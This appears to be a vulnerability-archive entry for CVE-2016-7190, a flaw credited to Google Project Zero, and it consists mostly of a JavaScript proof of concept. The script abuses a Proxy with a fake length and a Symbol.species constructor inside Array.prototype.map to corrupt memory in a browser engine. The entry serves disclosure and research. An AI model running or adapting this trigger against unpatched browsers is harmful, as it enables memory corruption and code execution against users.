CVE-2016-7190.md

CVE-2016-7190

• Report: Sep 2016
• Fix: Oct 2016
• Credit: Natalie Silvanovich, Google Project Zero

PoC

var d = new Array(1,2,3);
class dummy{

  constructor(){
    return d;
  }

}

var handler = {
    get: function(target, name){

  if(name == "length"){
    return 0x100;
  }
  return {[Symbol.species] : dummy};
    },

    has: function(target, name){
  return true;
    }
};

var p = new Proxy([], handler);

var a = new Array(1,2,3);

function test(){
  return 0x777777777777;

}

var o = a.map.call(p, test);

• Microsoft
• Project Zero